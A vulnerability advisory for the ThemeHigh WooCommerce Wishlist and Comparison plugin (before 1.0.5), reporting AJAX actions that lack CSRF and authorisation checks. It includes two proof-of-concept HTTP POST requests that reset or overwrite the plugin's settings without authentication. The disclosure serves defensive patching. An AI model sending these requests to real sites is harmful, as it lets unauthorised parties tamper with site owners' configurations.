ThemeHigh WooCommerce Wishlist and Comparison < 1.0.5 – Unauthorised AJAX call

Description

Some AJAX actions did not have proper CSRF and authorisation checks, allowing unauthorised call either via unauthenticated/low privilege users or CSRF, which could allow attackers to reset or change the settings of the plugin for example

Proof of Concept

Reset arbitrary option in the plugin (v < 1.0.5)

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close

action=reset_to_default&reset=general_settings


Save General Settings (v < 1.0.3)
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Connection: close

action=save_general_settings&wishlist_page=&ajax_loading=false&require_login=false&wishlnk_myaccont=false&remove_pdct=true&chckut_redrct=false&success_notice=false


Other actions were possible